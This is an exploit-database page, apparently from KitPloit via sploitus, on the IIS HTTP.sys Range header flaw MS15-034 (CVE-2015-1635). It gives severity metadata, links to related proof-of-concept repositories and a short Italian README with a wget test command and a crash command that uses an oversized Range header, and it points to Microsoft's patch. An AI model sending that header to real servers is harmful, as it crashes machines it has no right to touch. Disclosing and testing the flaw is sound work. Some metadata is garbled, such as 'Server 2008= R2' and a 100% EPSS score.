Exploit for MS15-034

kitploit · 2026-08-26

Description

MS15-034 Range header flaw in IIS on Windows Server 2012 R2 enables RCE or blue screen of death.

Entry point

ParameterRange · header

Path/

HTTP.sys integer overflow in Range handling enabling potential RCE (CVE-2015-1635).

Affected software

Microsoft Windows 7 All versions

Microsoft Windows 8 All versions

Microsoft Windows 8.1 All versions

Microsoft Windows Server 2008= R2

All known vulnerabilities by product

Windows Windows 7 Windows 8 Windows 8.1 Windows Server 2008 R2 Windows Server 2012 Windows Server 2012 R2

CVSS 10.0 for CVE-2015-1635

10.0

HIGH SEVERITY

Version 2.0

VectorAV:N/AC:L/Au:N/C:C/I:C/A:C

Attack Vector:NETWORK

Attack Complexity:LOW

Privileges Required:NONE

User Interaction:NONE

Scope:UNCHANGED

Confidentiality:HIGH

Integrity:HIGH

Availability:HIGH

EPSS Score

100.0%higher than 100.0% of all CVEs

Updated 2026-08-29

Exploit Details

Modified:2026-08-26 07:10

Last Seen:2026-08-26 10:25

Reporter:KitPloit

Tags

IISRange headerRemote code executionBSODWindows Server 2012MS15-034

Other exploits for CVE-2015-1635

Project-CVE-2015-1635

2026-08-29 KitPloitKITPLOIT

CVE-2015-1635-POC

2026-08-29 KitPloitKITPLOIT

2026-08-28 KitPloitKITPLOIT

CVE-2015-1635-POC

2026-08-28 KitPloitKITPLOIT

Remove-IIS-RIIS

2026-08-28 KitPloitKITPLOIT

CVE-2015-1635_PoC

2026-08-27 KitPloitKITPLOIT

2026-08-26 KitPloitKITPLOIT

CVE-2015-1635-POC

2026-08-26 KitPloitKITPLOIT

Exploit Code

MARKDOWN15 lines

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BONGBONGCO-MS15-034
# MS15-034

MS15-034 POC

L'attuale versione del server IIS è una versione vulnerabile con una vulnerabilità nota (CVE-2015-1635, MS15-034). Sfruttando questa vulnerabilità, si rischia di subire attacchi come esecuzione di codice remoto o crash del sistema (Blue Screen).

  * Comando di test: wget --header=""Range: bytes=0-18446744073709551615"" 
  * Comando di attacco per crash (Blue Screen): wget --header=""Range: bytes=18-18446744073709551615"" 



※ https://technet.microsoft.com/library/security/ms15-034 ※ http://blog.alyac.co.kr/303

Installare il pacchetto di sicurezza per Windows Server 2012 R2. https://www.microsoft.com/ko-KR/download/details.aspx?id=46500